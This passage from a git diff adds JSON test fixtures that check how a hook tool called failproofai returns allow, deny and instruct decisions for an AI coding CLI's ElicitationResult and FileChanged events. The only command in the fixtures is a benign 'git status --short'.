a/__tests__/parity/fixtures/factory/ElicitationResult/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/ElicitationResult/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..12959b05 --- /dev/null +++ b/__tests__/parity/fixtures/factory/ElicitationResult/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/ElicitationResult/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/ElicitationResult/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..2f168a60 --- /dev/null +++ b/__tests__/parity/fixtures/factory/ElicitationResult/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/ElicitationResult/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/ElicitationResult/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..e42c0369 --- /dev/null +++ b/__tests__/parity/fixtures/factory/ElicitationResult/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/ElicitationResult/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/ElicitationResult/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..3dc60efd --- /dev/null +++ b/__tests__/parity/fixtures/factory/ElicitationResult/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/ElicitationResult/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/ElicitationResult/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..b77ca017 --- /dev/null +++ b/__tests__/parity/fixtures/factory/ElicitationResult/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/ElicitationResult/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/ElicitationResult/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..355e13af --- /dev/null +++ b/__tests__/parity/fixtures/factory/ElicitationResult/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/ElicitationResult/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/ElicitationResult/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..d7110dab --- /dev/null +++ b/__tests__/parity/fixtures/factory/ElicitationResult/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/ElicitationResult/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/ElicitationResult/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..1151783d --- /dev/null +++ b/__tests__/parity/fixtures/factory/ElicitationResult/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/ElicitationResult/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/ElicitationResult/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..277e473f --- /dev/null +++ b/__tests__/parity/fixtures/factory/ElicitationResult/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/ElicitationResult/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/ElicitationResult/deny__tool-present__one-policy.json new file mode 100644 index 00000000..e0f175dc --- /dev/null +++ b/__tests__/parity/fixtures/factory/ElicitationResult/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/ElicitationResult/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/ElicitationResult/deny__tool-present__two-policies.json new file mode 100644 index 00000000..52305d42 --- /dev/null +++ b/__tests__/parity/fixtures/factory/ElicitationResult/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/ElicitationResult/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/ElicitationResult/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..327d79ac --- /dev/null +++ b/__tests__/parity/fixtures/factory/ElicitationResult/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/ElicitationResult/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/ElicitationResult/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..cfc583b9 --- /dev/null +++ b/__tests__/parity/fixtures/factory/ElicitationResult/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/ElicitationResult/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/ElicitationResult/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..4904b3e8 --- /dev/null +++ b/__tests__/parity/fixtures/factory/ElicitationResult/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/ElicitationResult/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/ElicitationResult/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..d78e98a0 --- /dev/null +++ b/__tests__/parity/fixtures/factory/ElicitationResult/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/FileChanged/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/FileChanged/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..200e0645 --- /dev/null +++ b/__tests__/parity/fixtures/factory/FileChanged/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/FileChanged/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/FileChanged/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..6c34abb9 --- /dev/null +++ b/__tests__/parity/fixtures/factory/FileChanged/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/FileChanged/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/FileChanged/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..2a65ff3d --- /dev/null +++ b/__tests__/parity/fixtures/factory/FileChanged/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/FileChanged/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/FileChanged/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..7715800d --- /dev/null +++ b/__tests__/parity/fixtures/factory/FileChanged/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/FileChanged/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/FileChanged/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..1e297779 --- /dev/null +++ b/__tests__/parity/fixtures/factory/FileChanged/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" 